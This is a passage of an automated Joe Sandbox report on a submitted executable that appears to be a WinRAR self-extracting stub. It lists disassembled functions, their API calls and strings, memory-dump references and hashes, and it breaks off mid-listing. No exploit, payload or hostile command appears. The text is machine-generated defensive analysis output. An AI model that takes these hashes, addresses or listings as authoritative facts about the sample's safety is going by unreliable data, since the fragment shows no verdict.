Part of subcall function 00D713B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 00D713D8

GetCommandLineW.KERNEL32 ref: 00D7D61C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00D7D643
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00D7D654
UnmapViewOfFile.KERNEL32(00000000), ref: 00D7D68E

Part of subcall function 00D7D287: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00D7D29D
Part of subcall function 00D7D287: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00D7D2D9

CloseHandle.KERNEL32(00000000), ref: 00D7D697
GetModuleFileNameW.KERNEL32(00000000,00DBDC90,00000800), ref: 00D7D6B2
SetEnvironmentVariableW.KERNEL32(sfxname,00DBDC90), ref: 00D7D6BE
GetLocalTime.KERNEL32(?), ref: 00D7D6C9
_swprintf.LIBCMT ref: 00D7D708
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00D7D71A
GetModuleHandleW.KERNEL32(00000000), ref: 00D7D721
LoadIconW.USER32(00000000,00000064), ref: 00D7D738
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 00D7D789
Sleep.KERNEL32(?), ref: 00D7D7B7
DeleteObject.GDI32 ref: 00D7D7F0
DeleteObject.GDI32(?), ref: 00D7D800
CloseHandle.KERNEL32 ref: 00D7D843

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00D7D6F9
sfxname, xrefs: 00D7D6B9
sfxstime, xrefs: 00D7D715
winrarsfxmappingfile.tmp, xrefs: 00D7D637
C:\Users\user\Desktop, xrefs: 00D7D5E9
STARTDLG, xrefs: 00D7D77E

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 788466649-3743209390
Opcode ID: 2b137506a4ab7936ff0a511fb65dd87ce3996a1102818b6a9ad2578a01e785a0
Instruction ID: 8d0b8354c1599ae57036f21089078b39569876d11931fd150247357d846e2589
Opcode Fuzzy Hash: 2b137506a4ab7936ff0a511fb65dd87ce3996a1102818b6a9ad2578a01e785a0
Instruction Fuzzy Hash: E761AE71904341AFD320AFA5EC49F6A3BA9EF49744F04442AF94DD23A1EBB89904D772

Function 00D79E1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(00D7AE4D,PNG,?,?,?,00D7AE4D,00000066), ref: 00D79E2E
SizeofResource.KERNEL32(00000000,00000000,?,?,?,00D7AE4D,00000066), ref: 00D79E46
LoadResource.KERNEL32(00000000,?,?,?,00D7AE4D,00000066), ref: 00D79E59
LockResource.KERNEL32(00000000,?,?,?,00D7AE4D,00000066), ref: 00D79E64
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00D7AE4D,00000066), ref: 00D79E82
GlobalLock.KERNEL32(00000000,?,?,?,?,?,00D7AE4D,00000066), ref: 00D79E93
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00D79EFC
GlobalUnlock.KERNEL32(00000000), ref: 00D79F1B
GlobalFree.KERNEL32(00000000), ref: 00D79F22

Strings

PNG, xrefs: 00D79E1F

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: 739fde0bd6a1adfd73453e8ed0c7e6b660c27e361775969de5768bc99d5c5587
Instruction ID: c997053687efb7e2a6fd40bbd5b0be11adaf3b8c3e531b1627012d28e2a36ba3
Opcode Fuzzy Hash: 739fde0bd6a1adfd73453e8ed0c7e6b660c27e361775969de5768bc99d5c5587
Instruction Fuzzy Hash: 98316172204706AFC7109F61DC58D2BFBA9FF85751B088519F90AD2361EB31DD009AB1

Function 00D6A5F4 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00D6A4EF,000000FF,?,?), ref: 00D6A628
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00D6A4EF,000000FF,?,?), ref: 00D6A65E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00D6A4EF,000000FF,?,?), ref: 00D6A66A
FindNextFileW.KERNEL32(?,?,?,?,?,?,00D6A4EF,000000FF,?,?), ref: 00D6A692
GetLastError.KERNEL32(?,?,?,?,00D6A4EF,000000FF,?,?), ref: 00D6A69E

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: c749cf721597706053dc7859444f6a17afcc08c39abe562c6455ba722cc49844
Instruction ID: ddc99282034ddc0b3c8bed9f1d8de0faaa1d0db1a2998b649817093dbe4ae0b6
Opcode Fuzzy Hash: c749cf721597706053dc7859444f6a17afcc08c39abe562c6455ba722cc49844
Instruction Fuzzy Hash: DA415E72504641AFC324EF68C884ADAF7E8FF48354F084A2AF5D9D3250D774A9648FB2

Function 00D8753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00D87513,00000000,00D9BAD8,0000000C,00D8766A,00000000,00000002,00000000), ref: 00D8755E
TerminateProcess.KERNEL32(00000000,?,00D87513,00000000,00D9BAD8,0000000C,00D8766A,00000000,00000002,00000000), ref: 00D87565
ExitProcess.KERNEL32 ref: 00D87577

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0a2d8ff0094312e259a525bdf9b7475f12b121dc5d6b2e3f65e3b8374754b479
Instruction ID: 8513493584ce56ae4766a79ca4ba43cda318a3e2f919be6e1904e36880f7149f
Opcode Fuzzy Hash: 0a2d8ff0094312e259a525bdf9b7475f12b121dc5d6b2e3f65e3b8374754b479
Instruction Fuzzy Hash: 7CE0B635004648ABCF11BF68DD09A497B69EB40745F248455F9099A232CB35DE42CB70

Function 00D6857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D68580
_memcmp.LIBVCRUNTIME ref: 00D68A08

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: 1e8d2c72c224d3f93d7f419326a9affa63771adcacdda08e12112670b199dd97
Instruction ID: c2d5bb96863db2fddc22103fc6ddecd18d7d2b2de394f3a159e86d75b330b531
Opcode Fuzzy Hash: 1e8d2c72c224d3f93d7f419326a9affa63771adcacdda08e12112670b199dd97
Instruction Fuzzy Hash: 03823A70904245AFDF25CF64C895BFABBB9EF15300F0C42BAE959AB142DB315A48DB70

Function 00D7AEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D7AEE5

Part of subcall function 00D6130B: GetDlgItem.USER32(00000000,00003021), ref: 00D6134F
Part of subcall function 00D6130B: SetWindowTextW.USER32(00000000,00D935B4), ref: 00D61365

Strings

-el -s2 "-d%s" "-sp%s", xrefs: 00D7B281
<, xrefs: 00D7B29A
LICENSEDLG, xrefs: 00D7B771
@, xrefs: 00D7B2A7
"%s"%s, xrefs: 00D7B423
__tmp_rar_sfx_access_check_%u, xrefs: 00D7B1CB
winrarsfxmappingfile.tmp, xrefs: 00D7B2BC
C:\Users\user\Desktop, xrefs: 00D7B2DF
STARTDLG, xrefs: 00D7AF04

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-8108337
Opcode ID: f0262b2b2555b69cdc3234d29dc7d1fe142e051510eb241198f3f8178c4ed03c
Instruction ID: 14a32b03595e604df98e7bdffeb955e2fd2abe8e685ed61dde2474a5504028b9
Opcode Fuzzy Hash: f0262b2b2555b69cdc3234d29dc7d1fe142e051510eb241198f3f8178c4ed03c
Instruction Fuzzy Hash: D5420570904345AFEB21ABA09C4AFBE7B7DEB06710F048156F649E62D1EBB44D44DB32

Function 00D700CF Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00D700E4
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D700F6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D70127
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D703D4
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D703F0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D70402
ReadFile.KERNEL32(00000000,?,00007FFE,00D93BA4,00000000), ref: 00D70421
CloseHandle.KERNEL32(00000000), ref: 00D70479
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D7048F
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00D704E7
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 00D70510
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 00D7054A

Part of subcall function 00D70085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D700A0
Part of subcall function 00D70085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D6EB86,Crypt32.dll,00000000,00D6EC0A,?,?,00D6EBEC,?,?,?), ref: 00D700C2

_swprintf.LIBCMT ref: 00D705BE
_swprintf.LIBCMT ref: 00D7060A

Part of subcall function 00D6400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D6401D

AllocConsole.KERNEL32 ref: 00D70612
GetCurrentProcessId.KERNEL32 ref: 00D7061C
AttachConsole.KERNEL32(00000000), ref: 00D70623
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00D70649
WriteConsoleW.KERNEL32(00000000), ref: 00D70650
Sleep.KERNEL32(00002710), ref: 00D7065B
FreeConsole.KERNEL32 ref: 00D70661
ExitProcess.KERNEL32 ref: 00D70669

Strings

SetDllDirectoryW, xrefs: 00D700F0
DXGIDebug.dll, xrefs: 00D70169, 00D704D3
SetDefaultDllDirectories, xrefs: 00D70121
uxtheme.dll, xrefs: 00D7058B
kernel32, xrefs: 00D700DD
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00D705F8
dwmapi.dll, xrefs: 00D70194, 00D70581

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: dc8939a99cbd915353c8acb3c6529678af04c28ac4c0dcc07bf4c0fbf8d533d5
Instruction ID: 3268a430e0e20869bc9bacf7909711312be4474e19cd2eb238f2f94b612a43e5
Opcode Fuzzy Hash: dc8939a99cbd915353c8acb3c6529678af04c28ac4c0dcc07bf4c0fbf8d533d5
Instruction Fuzzy Hash: 36D13FB1508384EBDB309F50D849B9FBBE8EF85704F54491DF68D96390DBB08A498B72

Function 00D7BDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00D7BDFA

Part of subcall function 00D7AA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00D7AAFE

SetWindowTextW.USER32(?,?), ref: 00D7C127
_wcsrchr.LIBVCRUNTIME ref: 00D7C2B1
GetDlgItem.USER32(?,00000066), ref: 00D7C2EC
SetWindowTextW.USER32(00000000,?), ref: 00D7C2FC
SendMessageW.USER32(00000000,00000143,00000000,00DAA472), ref: 00D7C30A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D7C335

Strings

<br>, xrefs: 00D7C08A
Software\Microsoft\Windows\CurrentVersion, xrefs: 00D7C1D0
%s.%d.tmp, xrefs: 00D7BFF6
ProgramFilesDir, xrefs: 00D7C1FB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: 40857879e18f360ede30e6d781a7af194669d6d13ec3c117d3df526f59addd4a
Instruction ID: d52dd1e32aee301892ae5d0de0771bcca8428c226819231c9676bed654bc8699
Opcode Fuzzy Hash: 40857879e18f360ede30e6d781a7af194669d6d13ec3c117d3df526f59addd4a
Instruction Fuzzy Hash: C5E14E72D00619AEDB25EBA4DC45EEE777CEF08711F1481AAF909E2151FB709A848B70

Function 00D6D341 Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00D6D346
_wcschr.LIBVCRUNTIME ref: 00D6D367
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00D6D328,?), ref: 00D6D382
__fprintf_l.LIBCMT ref: 00D6D873

Part of subcall function 00D7137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00D6B652,00000000,?,?,?,0001042C), ref: 00D71396

Strings

, xrefs: 00D6D67A
a, xrefs: 00D6D4EF
$%s:, xrefs: 00D6D856
R, xrefs: 00D6D4E5
*messages***, xrefs: 00D6D49A
RTL, xrefs: 00D6D838
*messages***, xrefs: 00D6D4D3
,, xrefs: 00D6D8AE
@%s:, xrefs: 00D6D85D, 00D6D869

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-980926923
Opcode ID: 70151af9d4c8a5caf6892876ef242fda5023aec5af815e069b6ac16af000ae9f
Instruction ID: c8987b523e37a1ebfdb5b91b8e2a57bd35fff0eb79e5042dd048b9cba4aff1e6
Opcode Fuzzy Hash: 70151af9d4c8a5caf6892876ef242fda5023aec5af815e069b6ac16af000ae9f
Instruction Fuzzy Hash: 7112A271E002199FDF24EFA4EC81BEEB7B6EF04704F14456AE546A7291EB709A44CB70

Function 00D7CB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D7AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D7AC85
Part of subcall function 00D7AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D7AC96
Part of subcall function 00D7AC74: IsDialogMessageW.USER32(0001042C,?), ref: 00D7ACAA
Part of subcall function 00D7AC74: TranslateMessage.USER32(?), ref: 00D7ACB8
Part of subcall function 00D7AC74: DispatchMessageW.USER32(?), ref: 00D7ACC2

GetDlgItem.USER32(00000068,00DBECB0), ref: 00D7CB6E
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,00D7A632,00000001,?,?,00D7AECB,00D94F88,00DBECB0), ref: 00D7CB96
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D7CBA1
SendMessageW.USER32(00000000,000000C2,00000000,00D935B4), ref: 00D7CBAF
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D7CBC5
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00D7CBDF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D7CC23
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00D7CC31
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D7CC40
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D7CC67
SendMessageW.USER32(00000000,000000C2,00000000,00D9431C), ref: 00D7CC76

Strings

\, xrefs: 00D7CBCF

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 23dbde3b440688cc713525f56f0fcf9a32981865d3ac0438f3c077c76f4034ff
Instruction ID: 1fef7ec4b9dfd8f607a8d9572e6a2a52af32468bf3dd1ec46a3f92a2a4d13273
Opcode Fuzzy Hash: 23dbde3b440688cc713525f56f0fcf9a32981865d3ac0438f3c077c76f4034ff
Instruction Fuzzy Hash: FB31D171185343AFE301DF20DC8AFAB7FACEB86744F000519FA51D6291EB644908EBB6

Function 00D7CE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 00D7CF54
ShowWindow.USER32(?,00000000), ref: 00D7CF93
GetExitCodeProcess.KERNEL32(?,?), ref: 00D7CFCF
CloseHandle.KERNEL32(?), ref: 00D7CFF5
ShowWindow.USER32(?,00000001), ref: 00D7D084

Part of subcall function 00D717AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00D6BB05,00000000,.exe,?,?,00000800,?,?,00D785DF,?), ref: 00D717C2

Strings

, xrefs: 00D7CEA2
.exe, xrefs: 00D7CFFF
.inf, xrefs: 00D7CF10

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: 4c6c61f791929807e1170daa68b5196682400ec959ac2709040a19bf0e8ef35a
Instruction ID: d72e5775f36f80f8e8232802998d86b231efa947896cb1e0aef1ebd638ced57e
Opcode Fuzzy Hash: 4c6c61f791929807e1170daa68b5196682400ec959ac2709040a19bf0e8ef35a
Instruction Fuzzy Hash: 9D61CF70414381DEDB319F249800AABBBF6EF85304F08A91EF5C997255F7B18989CB72

Function 00D8A058 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00D84E35,00D84E35,?,?,?,00D8A2A9,00000001,00000001,3FE85006), ref: 00D8A0B2
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00D8A2A9,00000001,00000001,3FE85006,?,?,?), ref: 00D8A138
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00D8A232
__freea.LIBCMT ref: 00D8A23F

Part of subcall function 00D88518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D8C13D,00000000,?,00D867E2,?,00000008,?,00D889AD,?,?,?), ref: 00D8854A

__freea.LIBCMT ref: 00D8A248
__freea.LIBCMT ref: 00D8A26D

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
